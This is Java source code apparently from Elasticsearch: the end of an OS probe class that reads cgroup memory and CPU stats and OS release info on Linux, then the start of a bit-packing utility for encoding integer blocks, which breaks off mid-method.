* The total current memory usage by processes in the cgroup (in bytes).
* If there is no limit then some Linux versions return the maximum value that can be stored in an
* unsigned 64 bit number, and this will overflow a long, hence the result type is <code>String</code>.
* (The alternative would have been <code>BigInteger</code> but then it would not be possible to index
* the OS stats document into Elasticsearch without losing information, as <code>BigInteger</code> is
* not a supported Elasticsearch type.)
*
* @param controlGroup the control group for the Elasticsearch process for the {@code memory} subsystem
* @return the total current memory usage by processes in the cgroup (in bytes)
* @throws IOException if an I/O exception occurs reading {@code memory.limit_in_bytes} for the control group
*/
private String getCgroupMemoryUsageInBytes(final String controlGroup) throws IOException {
return readSysFsCgroupMemoryUsageInBytes(controlGroup);
}
/**
* Returns the line from {@code memory.usage_in_bytes} for the control group to which the Elasticsearch process belongs for the
* {@code memory} subsystem. This line represents the total current memory usage by processes in the cgroup (in bytes).
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code memory} subsystem
* @return the line from {@code memory.usage_in_bytes}
* @throws IOException if an I/O exception occurs reading {@code memory.usage_in_bytes} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/memory")
String readSysFsCgroupMemoryUsageInBytes(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/memory", controlGroup, "memory.usage_in_bytes"));
}
/**
* The total current memory usage by processes in the cgroup (in bytes).
* If there is no limit then some Linux versions return the maximum value that can be stored in an
* unsigned 64 bit number, and this will overflow a long, hence the result type is <code>String</code>.
* (The alternative would have been <code>BigInteger</code> but then it would not be possible to index
* the OS stats document into Elasticsearch without losing information, as <code>BigInteger</code> is
* not a supported Elasticsearch type.)
*
* @param controlGroup the control group for the Elasticsearch process for the {@code memory} subsystem
* @return the total current memory usage by processes in the cgroup (in bytes)
* @throws IOException if an I/O exception occurs reading {@code memory.current} for the control group
*/
private String getCgroupV2MemoryUsageInBytes(final String controlGroup) throws IOException {
return readSysFsCgroupV2MemoryUsageInBytes(controlGroup);
}
/**
* Returns the line from {@code memory.current} for the control group to which the Elasticsearch process belongs for the
* {@code memory} subsystem. This line represents the total current memory usage by processes in the cgroup (in bytes).
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code memory} subsystem
* @return the line from {@code memory.current}
* @throws IOException if an I/O exception occurs reading {@code memory.current} for the control group
*/
@SuppressForbidden(reason = "access /sys/fs/cgroup/memory.current")
String readSysFsCgroupV2MemoryUsageInBytes(final String controlGroup) throws IOException {
return readSingleLine(PathUtils.get("/sys/fs/cgroup/", controlGroup, "memory.current"));
}
/**
* Checks if cgroup stats are available by checking for the existence of {@code /proc/self/cgroup}, {@code /sys/fs/cgroup/cpu},
* {@code /sys/fs/cgroup/cpuacct} and {@code /sys/fs/cgroup/memory}.
*
* @return {@code true} if the stats are available, otherwise {@code false}
*/
@SuppressForbidden(reason = "access /proc/self/cgroup, /sys/fs/cgroup/cpu, /sys/fs/cgroup/cpuacct and /sys/fs/cgroup/memory")
boolean areCgroupStatsAvailable() throws IOException {
if (Files.exists(PathUtils.get("/proc/self/cgroup")) == false) {
return false;
}
List<String> lines = readProcSelfCgroup();
// cgroup v2
if (lines.size() == 1 && lines.get(0).startsWith("0::")) {
return Stream.of("/sys/fs/cgroup/cpu.stat", "/sys/fs/cgroup/memory.stat").allMatch(path -> Files.exists(PathUtils.get(path)));
}
return Stream.of("/sys/fs/cgroup/cpu", "/sys/fs/cgroup/cpuacct", "/sys/fs/cgroup/memory")
.allMatch(path -> Files.exists(PathUtils.get(path)));
}
/**
* The CPU statistics for all tasks in the Elasticsearch control group.
*
* @param controlGroup the control group to which the Elasticsearch process belongs for the {@code memory} subsystem
* @return the CPU statistics
* @throws IOException if an I/O exception occurs reading {@code cpu.stat} for the control group
*/
@SuppressForbidden(reason = "Uses PathUtils.get to generate meaningful assertion messages")
private Map<String, Long> getCgroupV2CpuStats(String controlGroup) throws IOException {
final List<String> lines = readCgroupV2CpuStats(controlGroup);
final Map<String, Long> stats = new HashMap<>();
for (String line : lines) {
String[] parts = line.split("\\s+");
assert parts.length == 2 : "Corrupt cpu.stat line: [" + line + "]";
stats.put(parts[0], Long.parseLong(parts[1]));
}
final List<String> expectedKeys = List.of("system_usec", "usage_usec", "user_usec");
expectedKeys.forEach(key -> {
assert stats.containsKey(key) : "[" + key + "] missing from " + PathUtils.get("/sys/fs/cgroup", controlGroup, "cpu.stat");
assert stats.get(key) != -1 : stats.get(key);
});
final List<String> optionalKeys = List.of("nr_periods", "nr_throttled", "throttled_usec");
optionalKeys.forEach(key -> {
if (stats.containsKey(key) == false) {
stats.put(key, 0L);
}
assert stats.get(key) != -1L : "[" + key + "] in " + PathUtils.get("/sys/fs/cgroup", controlGroup, "cpu.stat") + " is -1";
});
return stats;
}
@SuppressForbidden(reason = "access /sys/fs/cgroup/cpu.stat")
List<String> readCgroupV2CpuStats(final String controlGroup) throws IOException {
return Files.readAllLines(PathUtils.get("/sys/fs/cgroup", controlGroup, "cpu.stat"));
}
/**
* Basic cgroup stats.
*
* @return basic cgroup stats, or {@code null} if an I/O exception occurred reading the cgroup stats
*/
private OsStats.Cgroup getCgroup() {
try {
if (areCgroupStatsAvailable() == false) {
return null;
}
final Map<String, String> controllerMap = getControlGroups();
assert controllerMap.isEmpty() == false;
final String cpuAcctControlGroup;
final long cgroupCpuAcctUsageNanos;
final long cgroupCpuAcctCpuCfsPeriodMicros;
final long cgroupCpuAcctCpuCfsQuotaMicros;
final String cpuControlGroup;
final OsStats.Cgroup.CpuStat cpuStat;
final String memoryControlGroup;
final String cgroupMemoryLimitInBytes;
final String cgroupMemoryUsageInBytes;
if (controllerMap.size() == 1 && controllerMap.containsKey("")) {
// There's a single hierarchy for all controllers
cpuControlGroup = cpuAcctControlGroup = memoryControlGroup = controllerMap.get("");
// `cpuacct` was merged with `cpu` in v2
final Map<String, Long> cpuStatsMap = getCgroupV2CpuStats(cpuControlGroup);
cgroupCpuAcctUsageNanos = cpuStatsMap.get("usage_usec") * 1000; // convert from micros to nanos
long[] cpuLimits = getCgroupV2CpuLimit(cpuControlGroup);
cgroupCpuAcctCpuCfsQuotaMicros = cpuLimits[0];
cgroupCpuAcctCpuCfsPeriodMicros = cpuLimits[1];
cpuStat = new OsStats.Cgroup.CpuStat(
cpuStatsMap.get("nr_periods"),
cpuStatsMap.get("nr_throttled"),
cpuStatsMap.get("throttled_usec") * 1000
);
cgroupMemoryLimitInBytes = getCgroupV2MemoryLimitInBytes(memoryControlGroup);
cgroupMemoryUsageInBytes = getCgroupV2MemoryUsageInBytes(memoryControlGroup);
} else {
cpuAcctControlGroup = controllerMap.get("cpuacct");
if (cpuAcctControlGroup == null) {
logger.debug("no [cpuacct] data found in cgroup stats");
return null;
}
cgroupCpuAcctUsageNanos = getCgroupCpuAcctUsageNanos(cpuAcctControlGroup);
cpuControlGroup = controllerMap.get("cpu");
if (cpuControlGroup == null) {
logger.debug("no [cpu] data found in cgroup stats");
return null;
}
cgroupCpuAcctCpuCfsPeriodMicros = getCgroupCpuAcctCpuCfsPeriodMicros(cpuControlGroup);
cgroupCpuAcctCpuCfsQuotaMicros = getCgroupCpuAcctCpuCfsQuotaMicros(cpuControlGroup);
cpuStat = getCgroupCpuAcctCpuStat(cpuControlGroup);
memoryControlGroup = controllerMap.get("memory");
if (memoryControlGroup == null) {
logger.debug("no [memory] data found in cgroup stats");
return null;
}
cgroupMemoryLimitInBytes = getCgroupMemoryLimitInBytes(memoryControlGroup);
cgroupMemoryUsageInBytes = getCgroupMemoryUsageInBytes(memoryControlGroup);
}
return new OsStats.Cgroup(
cpuAcctControlGroup,
cgroupCpuAcctUsageNanos,
cpuControlGroup,
cgroupCpuAcctCpuCfsPeriodMicros,
cgroupCpuAcctCpuCfsQuotaMicros,
cpuStat,
memoryControlGroup,
cgroupMemoryLimitInBytes,
cgroupMemoryUsageInBytes
);
} catch (final IOException e) {
logger.debug("error reading control group stats", e);
return null;
}
}
private static class OsProbeHolder {
private static final OsProbe INSTANCE = new OsProbe();
}
public static OsProbe getInstance() {
return OsProbeHolder.INSTANCE;
}
OsProbe() {
}
private final Logger logger = LogManager.getLogger(getClass());
OsInfo osInfo(long refreshInterval, Processors processors) throws IOException {
return new OsInfo(
refreshInterval,
Runtime.getRuntime().availableProcessors(),
processors,
Constants.OS_NAME,
getPrettyName(),
Constants.OS_ARCH,
Constants.OS_VERSION
);
}
private String getPrettyName() throws IOException {
// TODO: return a prettier name on non-Linux OS
if (Constants.LINUX) {
/*
* We read the lines from /etc/os-release (or /usr/lib/os-release) to extract the PRETTY_NAME. The format of this file is
* newline-separated key-value pairs. The key and value are separated by an equals symbol (=). The value can unquoted, or
* wrapped in single- or double-quotes.
*/
final List<String> etcOsReleaseLines = readOsRelease();
final List<String> prettyNameLines = etcOsReleaseLines.stream().filter(line -> line.startsWith("PRETTY_NAME")).toList();
assert prettyNameLines.size() <= 1 : prettyNameLines;
final Optional<String> maybePrettyNameLine = prettyNameLines.size() == 1
? Optional.of(prettyNameLines.get(0))
: Optional.empty();
if (maybePrettyNameLine.isPresent()) {
// we trim since some OS contain trailing space, for example, Oracle Linux Server 6.9 has a trailing space after the quote
final String trimmedPrettyNameLine = maybePrettyNameLine.get().trim();
final Matcher matcher = Pattern.compile("PRETTY_NAME=(\"?|'?)?([^\"']+)\\1").matcher(trimmedPrettyNameLine);
final boolean matches = matcher.matches();
assert matches : trimmedPrettyNameLine;
assert matcher.groupCount() == 2 : trimmedPrettyNameLine;
return matcher.group(2);
} else {
return Constants.OS_NAME;
}
} else {
return Constants.OS_NAME;
}
}
/**
* The lines from {@code /etc/os-release} or {@code /usr/lib/os-release} as a fallback, with an additional fallback to
* {@code /etc/system-release}. These files represent identification of the underlying operating system. The structure of the file is
* newlines of key-value pairs of shell-compatible variable assignments.
*
* @return the lines from {@code /etc/os-release} or {@code /usr/lib/os-release} or {@code /etc/system-release}
* @throws IOException if an I/O exception occurs reading {@code /etc/os-release} or {@code /usr/lib/os-release} or
* {@code /etc/system-release}
*/
@SuppressForbidden(reason = "access /etc/os-release or /usr/lib/os-release or /etc/system-release")
List<String> readOsRelease() throws IOException {
final List<String> lines;
if (Files.exists(PathUtils.get("/etc/os-release"))) {
lines = Files.readAllLines(PathUtils.get("/etc/os-release"));
assert lines != null && lines.isEmpty() == false;
return lines;
} else if (Files.exists(PathUtils.get("/usr/lib/os-release"))) {
lines = Files.readAllLines(PathUtils.get("/usr/lib/os-release"));
assert lines != null && lines.isEmpty() == false;
return lines;
} else if (Files.exists(PathUtils.get("/etc/system-release"))) {
// fallback for older Red Hat-like OS
lines = Files.readAllLines(PathUtils.get("/etc/system-release"));
assert lines != null && lines.size() == 1;
return Collections.singletonList("PRETTY_NAME=\"" + lines.get(0) + "\"");
} else {
return Collections.emptyList();
}
}
/**
* Returns the lines from /proc/meminfo as a workaround for JDK bugs that prevent retrieval of total system memory
* on some Linux variants such as Debian8.
*/
@SuppressForbidden(reason = "access /proc/meminfo")
List<String> readProcMeminfo() throws IOException {
final List<String> lines;
if (Files.exists(PathUtils.get("/proc/meminfo"))) {
lines = Files.readAllLines(PathUtils.get("/proc/meminfo"));
assert lines != null && lines.isEmpty() == false;
return lines;
} else {
return Collections.emptyList();
}
}
/**
* Retrieves system total memory in bytes from /proc/meminfo
*/
long getTotalMemFromProcMeminfo() throws IOException {
List<String> meminfoLines = readProcMeminfo();
final List<String> memTotalLines = meminfoLines.stream().filter(line -> line.startsWith("MemTotal")).toList();
assert memTotalLines.size() <= 1 : memTotalLines;
if (memTotalLines.size() == 1) {
final String memTotalLine = memTotalLines.get(0);
int beginIdx = memTotalLine.indexOf("MemTotal:");
int endIdx = memTotalLine.lastIndexOf(" kB");
if (beginIdx + 9 < endIdx) {
final String memTotalString = memTotalLine.substring(beginIdx + 9, endIdx).trim();
try {
long memTotalInKb = Long.parseLong(memTotalString);
return memTotalInKb * 1024;
} catch (NumberFormatException e) {
logger.warn("Unable to retrieve total memory from meminfo line [" + memTotalLine + "]");
return 0;
}
} else {
logger.warn("Unable to retrieve total memory from meminfo line [" + memTotalLine + "]");
return 0;
}
} else {
return 0;
}
}
boolean isDebian8() throws IOException {
return Constants.LINUX && getPrettyName().equals("Debian GNU/Linux 8 (jessie)");
}
OsStats.Cgroup getCgroup(boolean isLinux) {
return isLinux ? getCgroup() : null;
}
public OsStats osStats() {
final OsStats.Cpu cpu = new OsStats.Cpu(getSystemCpuPercent(), getSystemLoadAverage());
final OsStats.Mem mem = new OsStats.Mem(getTotalPhysicalMemorySize(), getAdjustedTotalMemorySize(), getFreePhysicalMemorySize());
final OsStats.Swap swap = new OsStats.Swap(getTotalSwapSpaceSize(), getFreeSwapSpaceSize());
final OsStats.Cgroup cgroup = getCgroup(Constants.LINUX);
return new OsStats(System.currentTimeMillis(), cpu, mem, swap, cgroup);
}
/**
* Returns a given method of the OperatingSystemMXBean, or null if the method is not found or unavailable.
*/
private static Method getMethod(String methodName) {
try {
return Class.forName("com.sun.management.OperatingSystemMXBean").getMethod(methodName);
} catch (Exception e) {
// not available
return null;
}
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/monitor/os/OsProbe.java |
1,397 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.index.codec;
import org.apache.lucene.store.DataInput;
import org.apache.lucene.store.DataOutput;
import java.io.IOException;
// Inspired from https://fulmicoton.com/posts/bitpacking/
// Encodes multiple integers in a long to get SIMD-like speedups.
// If bitsPerValue <= 8 then we pack 8 ints per long
// else if bitsPerValue <= 16 we pack 4 ints per long
// else we pack 2 ints per long
public final class ForUtil {
public static final int BLOCK_SIZE = 128;
private static final int BLOCK_SIZE_LOG2 = 7;
private static final ThreadLocal<long[]> scratch = ThreadLocal.withInitial(() -> new long[BLOCK_SIZE / 2]);
private ForUtil() {}
private static long expandMask32(long mask32) {
return mask32 | (mask32 << 32);
}
private static long expandMask16(long mask16) {
return expandMask32(mask16 | (mask16 << 16));
}
private static long expandMask8(long mask8) {
return expandMask16(mask8 | (mask8 << 8));
}
private static long mask32(int bitsPerValue) {
return expandMask32((1L << bitsPerValue) - 1);
}
private static long mask16(int bitsPerValue) {
return expandMask16((1L << bitsPerValue) - 1);
}
private static long mask8(int bitsPerValue) {
return expandMask8((1L << bitsPerValue) - 1);
}
private static void expand8(long[] arr) {
for (int i = 0; i < 16; ++i) {
long l = arr[i];
arr[i] = (l >>> 56) & 0xFFL;
arr[16 + i] = (l >>> 48) & 0xFFL;
arr[32 + i] = (l >>> 40) & 0xFFL;
arr[48 + i] = (l >>> 32) & 0xFFL;
arr[64 + i] = (l >>> 24) & 0xFFL;
arr[80 + i] = (l >>> 16) & 0xFFL;
arr[96 + i] = (l >>> 8) & 0xFFL;
arr[112 + i] = l & 0xFFL;
}
}
private static void expand8To32(long[] arr) {
for (int i = 0; i < 16; ++i) {
long l = arr[i];
arr[i] = (l >>> 24) & 0x000000FF000000FFL;
arr[16 + i] = (l >>> 16) & 0x000000FF000000FFL;
arr[32 + i] = (l >>> 8) & 0x000000FF000000FFL;
arr[48 + i] = l & 0x000000FF000000FFL;
}
}
private static void collapse8(long[] arr) {
for (int i = 0; i < 16; ++i) {
arr[i] = (arr[i] << 56) | (arr[16 + i] << 48) | (arr[32 + i] << 40) | (arr[48 + i] << 32) | (arr[64 + i] << 24) | (arr[80 + i]
<< 16) | (arr[96 + i] << 8) | arr[112 + i];
}
}
private static void expand16(long[] arr) {
for (int i = 0; i < 32; ++i) {
long l = arr[i];
arr[i] = (l >>> 48) & 0xFFFFL;
arr[32 + i] = (l >>> 32) & 0xFFFFL;
arr[64 + i] = (l >>> 16) & 0xFFFFL;
arr[96 + i] = l & 0xFFFFL;
}
}
private static void expand16To32(long[] arr) {
for (int i = 0; i < 32; ++i) {
long l = arr[i];
arr[i] = (l >>> 16) & 0x0000FFFF0000FFFFL;
arr[32 + i] = l & 0x0000FFFF0000FFFFL;
}
}
private static void collapse16(long[] arr) {
for (int i = 0; i < 32; ++i) {
arr[i] = (arr[i] << 48) | (arr[32 + i] << 32) | (arr[64 + i] << 16) | arr[96 + i];
}
}
private static void expand32(long[] arr) {
for (int i = 0; i < 64; ++i) {
long l = arr[i];
arr[i] = l >>> 32;
arr[64 + i] = l & 0xFFFFFFFFL;
}
}
private static void collapse32(long[] arr) {
for (int i = 0; i < 64; ++i) {
arr[i] = (arr[i] << 32) | arr[64 + i];
}
}
/** Encode 128 integers from {@code longs} into {@code out}. */
public static void encode(long[] longs, int bitsPerValue, DataOutput out) throws IOException {
final int nextPrimitive;
final int numLongs;
if (bitsPerValue <= 8) {
nextPrimitive = 8;
numLongs = BLOCK_SIZE / 8;
collapse8(longs);
} else if (bitsPerValue <= 16) {
nextPrimitive = 16;
numLongs = BLOCK_SIZE / 4;
collapse16(longs);
} else {
nextPrimitive = 32;
numLongs = BLOCK_SIZE / 2;
collapse32(longs);
}
final int numLongsPerShift = bitsPerValue * 2;
int idx = 0;
int shift = nextPrimitive - bitsPerValue;
final long[] tmp = scratch.get();
for (int i = 0; i < numLongsPerShift; ++i) {
tmp[i] = longs[idx++] << shift;
}
for (shift = shift - bitsPerValue; shift >= 0; shift -= bitsPerValue) {
for (int i = 0; i < numLongsPerShift; ++i) {
tmp[i] |= longs[idx++] << shift;
}
}
final int remainingBitsPerLong = shift + bitsPerValue;
final long maskRemainingBitsPerLong;
if (nextPrimitive == 8) {
maskRemainingBitsPerLong = MASKS8[remainingBitsPerLong];
} else if (nextPrimitive == 16) {
maskRemainingBitsPerLong = MASKS16[remainingBitsPerLong];
} else {
maskRemainingBitsPerLong = MASKS32[remainingBitsPerLong];
}
int tmpIdx = 0;
int remainingBitsPerValue = bitsPerValue;
while (idx < numLongs) {
if (remainingBitsPerValue >= remainingBitsPerLong) {
remainingBitsPerValue -= remainingBitsPerLong;
tmp[tmpIdx++] |= (longs[idx] >>> remainingBitsPerValue) & maskRemainingBitsPerLong;
if (remainingBitsPerValue == 0) {
idx++;
remainingBitsPerValue = bitsPerValue;
}
} else {
final long mask1, mask2;
if (nextPrimitive == 8) {
mask1 = MASKS8[remainingBitsPerValue];
mask2 = MASKS8[remainingBitsPerLong - remainingBitsPerValue];
} else if (nextPrimitive == 16) {
mask1 = MASKS16[remainingBitsPerValue];
mask2 = MASKS16[remainingBitsPerLong - remainingBitsPerValue];
} else {
mask1 = MASKS32[remainingBitsPerValue];
mask2 = MASKS32[remainingBitsPerLong - remainingBitsPerValue];
}
tmp[tmpIdx] |= (longs[idx++] & mask1) << (remainingBitsPerLong - remainingBitsPerValue);
remainingBitsPerValue = bitsPerValue - remainingBitsPerLong + remainingBitsPerValue;
tmp[tmpIdx++] |= (longs[idx] >>> remainingBitsPerValue) & mask2;
}
}
for (int i = 0; i < numLongsPerShift; ++i) {
out.writeLong(tmp[i]);
}
}
/** Number of bytes required to encode 128 integers of {@code bitsPerValue} bits per value. */
public static int numBytes(int bitsPerValue) {
return bitsPerValue << (BLOCK_SIZE_LOG2 - 3);
}
private static void decodeSlow(int bitsPerValue, DataInput in, long[] tmp, long[] longs) throws IOException {
final int numLongs = bitsPerValue << 1;
in.readLongs(tmp, 0, numLongs);
final long mask = MASKS32[bitsPerValue];
int longsIdx = 0;
int shift = 32 - bitsPerValue;
for (; shift >= 0; shift -= bitsPerValue) {
shiftLongs(tmp, numLongs, longs, longsIdx, shift, mask);
longsIdx += numLongs;
}
final int remainingBitsPerLong = shift + bitsPerValue;
final long mask32RemainingBitsPerLong = MASKS32[remainingBitsPerLong];
int tmpIdx = 0;
int remainingBits = remainingBitsPerLong;
for (; longsIdx < BLOCK_SIZE / 2; ++longsIdx) {
int b = bitsPerValue - remainingBits;
long l = (tmp[tmpIdx++] & MASKS32[remainingBits]) << b;
while (b >= remainingBitsPerLong) {
b -= remainingBitsPerLong;
l |= (tmp[tmpIdx++] & mask32RemainingBitsPerLong) << b;
}
if (b > 0) {
l |= (tmp[tmpIdx] >>> (remainingBitsPerLong - b)) & MASKS32[b];
remainingBits = remainingBitsPerLong - b;
} else {
remainingBits = remainingBitsPerLong;
}
longs[longsIdx] = l;
}
}
/**
* The pattern that this shiftLongs method applies is recognized by the C2 compiler, which
* generates SIMD instructions for it in order to shift multiple longs at once.
*/
private static void shiftLongs(long[] a, int count, long[] b, int bi, int shift, long mask) {
for (int i = 0; i < count; ++i) {
b[bi + i] = (a[i] >>> shift) & mask;
}
}
private static final long[] MASKS8 = new long[8];
private static final long[] MASKS16 = new long[16];
private static final long[] MASKS32 = new long[32];
static {
for (int i = 0; i < 8; ++i) {
MASKS8[i] = mask8(i);
}
for (int i = 0; i < 16; ++i) {
MASKS16[i] = mask16(i);
}
for (int i = 0; i < 32; ++i) {
MASKS32[i] = mask32(i);
}
}
// mark values in array as final longs to avoid the cost of reading array, arrays should only be
// used when the idx is a variable
private static final long MASK8_1 = MASKS8[1];
private static final long MASK8_2 = MASKS8[2];
private static final long MASK8_3 = MASKS8[3];
private static final long MASK8_4 = MASKS8[4];
private static final long MASK8_5 = MASKS8[5];
private static final long MASK8_6 = MASKS8[6];
private static final long MASK8_7 = MASKS8[7];
private static final long MASK16_1 = MASKS16[1];
private static final long MASK16_2 = MASKS16[2];
private static final long MASK16_3 = MASKS16[3];
private static final long MASK16_4 = MASKS16[4];
private static final long MASK16_5 = MASKS16[5];
private static final long MASK16_6 = MASKS16[6];
private static final long MASK16_7 = MASKS16[7];
private static final long MASK16_9 = MASKS16[9];
private static final long MASK16_10 = MASKS16[10];
private static final long MASK16_11 = MASKS16[11];
private static final long MASK16_12 = MASKS16[12];
private static final long MASK16_13 = MASKS16[13];
private static final long MASK16_14 = MASKS16[14];
private static final long MASK16_15 = MASKS16[15];
private static final long MASK32_1 = MASKS32[1];
private static final long MASK32_2 = MASKS32[2];
private static final long MASK32_3 = MASKS32[3];
private static final long MASK32_4 = MASKS32[4];
private static final long MASK32_5 = MASKS32[5];
private static final long MASK32_6 = MASKS32[6];
private static final long MASK32_7 = MASKS32[7];
private static final long MASK32_8 = MASKS32[8];
private static final long MASK32_9 = MASKS32[9];
private static final long MASK32_10 = MASKS32[10];
private static final long MASK32_11 = MASKS32[11];
private static final long MASK32_12 = MASKS32[12];
private static final long MASK32_13 = MASKS32[13];
private static final long MASK32_14 = MASKS32[14];
private static final long MASK32_15 = MASKS32[15];
private static final long MASK32_17 = MASKS32[17];
private static final long MASK32_18 = MASKS32[18];
private static final long MASK32_19 = MASKS32[19];
private static final long MASK32_20 = MASKS32[20];
private static final long MASK32_21 = MASKS32[21];
private static final long MASK32_22 = MASKS32[22];
private static final long MASK32_23 = MASKS32[23];
private static final long MASK32_24 = MASKS32[24];
/** Decode 128 integers into {@code longs}. */
public static void decode(int bitsPerValue, DataInput in, long[] longs) throws IOException {
final long[] tmp = scratch.get();
switch (bitsPerValue) {
case 1:
decode1(in, tmp, longs);
expand8(longs);
break;
case 2:
decode2(in, tmp, longs);
expand8(longs);
break;
case 3:
decode3(in, tmp, longs);
expand8(longs);
break;
case 4:
decode4(in, tmp, longs);
expand8(longs);
break;
case 5:
decode5(in, tmp, longs);
expand8(longs);
break;
case 6:
decode6(in, tmp, longs);
expand8(longs);
break;
case 7:
decode7(in, tmp, longs);
expand8(longs);
break;
case 8:
decode8(in, tmp, longs);
expand8(longs);
break;
case 9:
decode9(in, tmp, longs);
expand16(longs);
break;
case 10:
decode10(in, tmp, longs);
expand16(longs);
break;
case 11:
decode11(in, tmp, longs);
expand16(longs);
break;
case 12:
decode12(in, tmp, longs);
expand16(longs);
break;
case 13:
decode13(in, tmp, longs);
expand16(longs);
break;
case 14:
decode14(in, tmp, longs);
expand16(longs);
break;
case 15:
decode15(in, tmp, longs);
expand16(longs);
break;
case 16:
decode16(in, tmp, longs);
expand16(longs);
break;
case 17:
decode17(in, tmp, longs);
expand32(longs);
break;
case 18:
decode18(in, tmp, longs);
expand32(longs);
break;
case 19:
decode19(in, tmp, longs);
expand32(longs);
break;
case 20:
decode20(in, tmp, longs);
expand32(longs);
break;
case 21:
decode21(in, tmp, longs);
expand32(longs);
break;
case 22:
decode22(in, tmp, longs);
expand32(longs);
break;
case 23:
decode23(in, tmp, longs);
expand32(longs);
break;
case 24:
decode24(in, tmp, longs);
expand32(longs);
break;
default:
decodeSlow(bitsPerValue, in, tmp, longs);
expand32(longs);
break;
}
}
/**
* Decodes 128 integers into 64 {@code longs} such that each long contains two values, each
* represented with 32 bits. Values [0..63] are encoded in the high-order bits of {@code longs}
* [0..63], and values [64..127] are encoded in the low-order bits of {@code longs} [0..63]. This
* representation may allow subsequent operations to be performed on two values at a time.
*/
public static void decodeTo32(int bitsPerValue, DataInput in, long[] longs) throws IOException {
final long[] tmp = scratch.get();
switch (bitsPerValue) {
case 1:
decode1(in, tmp, longs);
expand8To32(longs);
break;
case 2:
decode2(in, tmp, longs);
expand8To32(longs);
break;
case 3:
decode3(in, tmp, longs);
expand8To32(longs);
break;
case 4:
decode4(in, tmp, longs);
expand8To32(longs);
break;
case 5:
decode5(in, tmp, longs);
expand8To32(longs);
break;
case 6:
decode6(in, tmp, longs);
expand8To32(longs);
break;
case 7:
decode7(in, tmp, longs);
expand8To32(longs);
break;
case 8:
decode8(in, tmp, longs);
expand8To32(longs);
break;
case 9:
decode9(in, tmp, longs);
expand16To32(longs);
break;
case 10:
decode10(in, tmp, longs);
expand16To32(longs);
break;
case 11:
decode11(in, tmp, longs);
expand16To32(longs);
break;
case 12:
decode12(in, tmp, longs);
expand16To32(longs);
break;
case 13:
decode13(in, tmp, longs);
expand16To32(longs);
break;
case 14:
decode14(in, tmp, longs);
expand16To32(longs);
break;
case 15:
decode15(in, tmp, longs);
expand16To32(longs);
break;
case 16:
decode16(in, tmp, longs);
expand16To32(longs);
break;
case 17:
decode17(in, tmp, longs);
break;
case 18:
decode18(in, tmp, longs);
break;
case 19:
decode19(in, tmp, longs);
break;
case 20:
decode20(in, tmp, longs);
break;
case 21:
decode21(in, tmp, longs);
break;
case 22:
decode22(in, tmp, longs);
break;
case 23:
decode23(in, tmp, longs);
break;
case 24:
decode24(in, tmp, longs);
break;
default:
decodeSlow(bitsPerValue, in, tmp, longs);
break;
}
}
private static void decode1(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 2);
shiftLongs(tmp, 2, longs, 0, 7, MASK8_1);
shiftLongs(tmp, 2, longs, 2, 6, MASK8_1);
shiftLongs(tmp, 2, longs, 4, 5, MASK8_1);
shiftLongs(tmp, 2, longs, 6, 4, MASK8_1);
shiftLongs(tmp, 2, longs, 8, 3, MASK8_1);
shiftLongs(tmp, 2, longs, 10, 2, MASK8_1);
shiftLongs(tmp, 2, longs, 12, 1, MASK8_1);
shiftLongs(tmp, 2, longs, 14, 0, MASK8_1);
}
private static void decode2(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 4);
shiftLongs(tmp, 4, longs, 0, 6, MASK8_2);
shiftLongs(tmp, 4, longs, 4, 4, MASK8_2);
shiftLongs(tmp, 4, longs, 8, 2, MASK8_2);
shiftLongs(tmp, 4, longs, 12, 0, MASK8_2);
}
private static void decode3(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 6);
shiftLongs(tmp, 6, longs, 0, 5, MASK8_3);
shiftLongs(tmp, 6, longs, 6, 2, MASK8_3);
for (int iter = 0, tmpIdx = 0, longsIdx = 12; iter < 2; ++iter, tmpIdx += 3, longsIdx += 2) {
long l0 = (tmp[tmpIdx + 0] & MASK8_2) << 1;
l0 |= (tmp[tmpIdx + 1] >>> 1) & MASK8_1;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK8_1) << 2;
l1 |= (tmp[tmpIdx + 2] & MASK8_2) << 0;
longs[longsIdx + 1] = l1;
}
}
private static void decode4(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 8);
shiftLongs(tmp, 8, longs, 0, 4, MASK8_4);
shiftLongs(tmp, 8, longs, 8, 0, MASK8_4);
}
private static void decode5(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 10);
shiftLongs(tmp, 10, longs, 0, 3, MASK8_5);
for (int iter = 0, tmpIdx = 0, longsIdx = 10; iter < 2; ++iter, tmpIdx += 5, longsIdx += 3) {
long l0 = (tmp[tmpIdx + 0] & MASK8_3) << 2;
l0 |= (tmp[tmpIdx + 1] >>> 1) & MASK8_2;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK8_1) << 4;
l1 |= (tmp[tmpIdx + 2] & MASK8_3) << 1;
l1 |= (tmp[tmpIdx + 3] >>> 2) & MASK8_1;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 3] & MASK8_2) << 3;
l2 |= (tmp[tmpIdx + 4] & MASK8_3) << 0;
longs[longsIdx + 2] = l2;
}
}
private static void decode6(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 12);
shiftLongs(tmp, 12, longs, 0, 2, MASK8_6);
shiftLongs(tmp, 12, tmp, 0, 0, MASK8_2);
for (int iter = 0, tmpIdx = 0, longsIdx = 12; iter < 4; ++iter, tmpIdx += 3, longsIdx += 1) {
long l0 = tmp[tmpIdx + 0] << 4;
l0 |= tmp[tmpIdx + 1] << 2;
l0 |= tmp[tmpIdx + 2] << 0;
longs[longsIdx + 0] = l0;
}
}
private static void decode7(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 14);
